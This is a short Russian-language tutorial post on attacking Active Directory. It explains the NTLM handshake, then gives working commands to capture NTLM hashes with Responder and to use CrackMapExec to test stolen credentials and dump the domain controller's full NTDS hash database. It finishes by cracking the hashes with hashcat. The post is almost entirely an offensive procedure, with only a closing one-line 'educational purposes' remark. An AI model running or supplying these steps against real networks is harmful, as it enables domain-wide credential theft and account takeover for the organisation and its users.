Сегодня мы разберем тему атаки на Active Directory (далее - AD), а точнее перехват NTLM-хеша учётной записи с последующим её вскрытием.
Для начала напомню, что NTLM — протокол аутентификации пользователя в AD. Процесс заключается в следующем:
✔ Пользователь устанавливает подключение (сетевой путь) к серверу и отправляет NEGOTIATE_MESSAGE со своими возможностями.
✔ Сервер отвечает сообщением CHALLENGE_MESSAGE, которое используется для идентификации (установления личности) клиента.
✔ Клиент присылает ответ на сообщение с помощью AUTHENTICATE_MESSAGE.
Осуществляет перехват хеша поможет утилита Responder. Запуск производится командой:
Responder -I eth0 -wrf
Хеш, который мы получили бы по результатам атаки, можно сбрутить, об этом в конце поста. Для получения списка пользователей с их NTLM-хешами воспользуемся утилитой crackmapexec, предустановленной в Kali Linux. Всё же лучше ее обновить:
apt-get install -y libssl-dev libffi-dev python-dev build-essential
git clone https://github.com/byt3bl33d3r/CrackMapExec
cd CrackMapExec && git submodule init && git submodule update --recursive
python setup.py install
После окончания обновления начинаем. Несмотря на то, что программа богата на функции, потребуется только одна из них. Запуск утилиты проводится командой cme, но, как и большинство терминальных приложений Linux, ничего не заработает без аргументов. Первым делом проведем проверку пользователя на возможность вытащить с его помощью данные о других пользователях.
cme smb *ip_контроллера_домена* -u *имя_пользователя* -p *пароль*
Если программа показала Pwn3d! — фортуна сегодня на Вашей стороне и Вы нашли пользователя, который поможет получить данные, если же нет, проведите операцию сниффинга заново.
Далее, когда найден пользователь, способный вытащить всю базу, вводим команду:
cme smb *ip_контроллера_домена* -u *имя_пользователя* -p *пароль* --ntds drsuapi
В результате получаем базу с пользователями и их NTLM-хешами. Она выдаётся на экран, сохраняется в лог-файл и в cmedb. Проще всего её вновь вызвать командой cmedb, внутри неё введя creds.
Теперь о брутфорсе — то, без чего все действия выше не имели бы смысла. Вытащенные хеши требуется поместить в .txt файл, каждый на новой строке. Теперь передаем информацию hashcat’у:
hashcat -m 1000 -a 0 *файл_с_хешами* *файл_с_паролями*
Да используйте полученные знания в образовательных целях! До новых встреч!